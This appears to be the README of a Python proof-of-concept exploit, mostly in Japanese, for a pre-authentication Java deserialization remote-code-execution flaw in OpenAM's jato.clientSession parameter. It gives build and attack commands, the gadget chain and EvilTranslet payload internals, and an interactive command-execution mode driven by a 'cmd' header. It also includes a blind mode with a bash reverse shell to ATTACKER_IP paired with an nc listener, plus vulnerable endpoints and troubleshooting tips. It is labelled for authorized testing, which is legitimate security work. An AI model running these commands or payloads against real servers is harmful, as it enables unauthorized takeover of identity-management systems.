
Python PoCは、OpenAMにおける認証前RCEであるCVE-2026-33439を悪用するもので、jato.clientSessionパラメータのJavaデシリアライゼーションを利用し、インタラクティブモードとブラインドシェルモードを備えています。
OpenIdentityPlatform OpenAM <= 16.0.5 における jato.clientSession パラメータの安全でない Java デシリアライゼーションを悪用した認証前リモートコード実行 (CVSS 9.8)。
許可されたセキュリティテスト専用。
# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py
# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
build.py 用 — ターゲットサーバーの JVM バージョンと一致させる必要あり。JDK 25 は互換性のないシリアライズオブジェクトを生成する)EvilTranslet はリクエストから cmd HTTP ヘッダーを読み取り、それを実行し、stdout を HTTP レスポンスに直接書き込む。リスナーは不要。
# Build interactive payload (no --command flag)
python build.py
# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"
# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell
# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell
コマンドは EvilTranslet のバイトコードに埋め込まれる。出力は返されない。コールバックを捕捉するにはリスナー (nc など) を使用すること。
# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
# Terminal 1: listener
nc -lvnp 4444
# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all
build.pyexploit.pyすべてのソースコードはリポジトリ内にあり、不透明な blob は存在しない。Java ソースは build.py 内に可読な文字列定数として埋め込まれている。ビルド後、出力を検証すること:
python verify.py # summary: classes, integrity, red-flag scan
python verify.py --strings # all printable strings in the payload
python verify.py --hexdump # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap
PriorityQueue.readObject()
-> heapify() -> Column$ColumnComparator.compare()
-> Column.getTable().isSortedAscending()
-> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
-> TemplatesImpl.getOutputProperties()
-> defineTransletClasses() -> newInstance()
-> EvilTranslet.<clinit>() // command executes here
Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — webapp クラスローダー経由で HTTP リクエスト/レスポンスを取得request.getHeader("cmd") — コマンドを読み取るnew ProcessBuilder("/bin/sh", "-c", cmd) — 実行response.reset() — 以前の JSP 出力をクリアtext/plain としてレスポンスに書き込み、その後出力ストリームを閉じるRuntime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — fire and forget認証前にアクセス可能で、<jato:form> タグをレンダリングするすべての JATO ViewBean エンドポイント:
| エンドポイント | 備考 |
|---|---|
/openam/ui/PWResetUserValidation | パスワードリセット (最も信頼性が高い) |
/openam/ui/PWResetQuestion | パスワードリセットの秘密の質問 |
/openam/ui/Login | ログインページ |
MIT
| フラグ | 説明 |
|---|
| (フラグなし) | インタラクティブペイロードをビルド (実行時に cmd ヘッダーを読み取る) |
--command "CMD" | CMD をバイトコードに埋め込んだブラインドペイロードをビルド |
--jars DIR | ダウンロードせずにローカルの JARs ディレクトリを使用 (デフォルト: ./libs) |
--download-only | JARs のダウンロードのみ行い、コンパイルしない |
| フラグ | 説明 |
|---|
--url URL | ターゲット URL (必須) — 完全なエンドポイント、または --probe/--all を併用するベース URL |
--shell | インタラクティブ疑似シェル (インタラクティブモード) |
--probe | ベース URL から脆弱なエンドポイントを自動検出 |
--all | すべての JATO エンドポイントにペイロードを配信 (ブラインドモード) |
--method GET|POST | HTTP 配信メソッド (デフォルト: GET) |
--proxy URL | HTTP プロキシ (例: Burp 用の http://127.0.0.1:8080) |
--timeout SECS | リクエストタイムアウト (デフォルト: 15) |
--verify-tls | TLS 証明書検証を有効化 |
--debug | リクエスト/レスポンスの詳細を表示 |
| 症状 | 原因 | 修正 |
|---|
| コマンド出力ではなく HTML ページが返される | JSP がレスポンスを上書き | インタラクティブペイロードで --shell を使用する、またはブラインドモードに切り替える |
| デシリアライゼーションがトリガーされない | JDK バージョンの不一致 | JDK 21 で再ビルド: export JAVA_HOME=/path/to/jdk-21 |
| TLS ハンドシェイクタイムアウト | サーバーが SNI ホスト名を要求 | ターゲットを /etc/hosts に追加し、IP ではなくホスト名を使用する |
javac が見つからない | JDK がインストールされていない | apt install openjdk-21-jdk |